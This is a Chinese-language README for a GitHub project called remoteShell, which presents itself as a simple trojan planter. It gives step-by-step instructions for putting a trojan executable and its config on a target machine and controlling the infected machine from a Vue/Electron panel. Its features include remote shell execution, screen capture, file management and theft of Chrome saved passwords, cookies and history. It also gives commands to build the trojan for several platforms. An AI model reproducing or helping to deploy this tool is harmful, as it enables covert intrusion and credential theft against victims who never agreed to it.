/remoteShell

基于vue和nodejs基本实现远程连接目标shell

Primary LanguageVue

简单植马器

remoteShell

📌项目基本介绍

项目地址

https://github.com/OblivionTime/remoteShell

分支介绍

在这里插入图片描述

💨基本使用流程

下载文件

https://github.com/OblivionTime/remoteShell/releases

在这里插入图片描述

解压

在这里插入图片描述

启动

先启动remoteShellServer-win.exe也就是先启动服务 在这里插入图片描述 然后打开马端控制.exe 在这里插入图片描述

然后将config.jsonremoteShellTrojan.exe移植到目标机器上,根据自己的服务器ip地址修改config.json文件中的hostnameport,如果不知道看自己服务器ip的话可以在命令行输入ipconfig查看自己的ip 在这里插入图片描述 修改完后双击运行remoteShellTrojan.exe即可,出现下面这种情况则表示连接成功 在这里插入图片描述马端控制查看上线的机器 在这里插入图片描述

✨前端基本介绍

源码zip下载地址

https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main

✨介绍

马端控制是基于vueelectron,使用element-UI框架,通过websocket进行数据传输,使用ffmpeg.exe实现简单的屏幕录制功能

❗功能

  1. shell命令执行
  2. 实时屏幕
  3. 文件管理
  4. 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie

⚙️调试

#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn build

🖼️ 项目截图

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

✨后端基本介绍

源代码zip下载地址

https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server

✨介绍

后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似

⚙️调试

#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout server
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn build

✨马端基本介绍

源zip下载地址

https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan

✨介绍

马端纯nodejs实现,主要调用了以下几个库的基本使用

在这里插入图片描述

⚙️调试

#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout trojan
# 安装依赖包
yarn
# 调试
yarn serve
# 打包成win
yarn build:win
# 打包成mac
yarn build:mac
# 打包成linux
yarn build:linux

⚙️ 配置项

在这里插入图片描述 hostname表示后端ip地址,port表示后端端口,如果当前目录下没有config.json文件则系统会自动默认为localhost:7880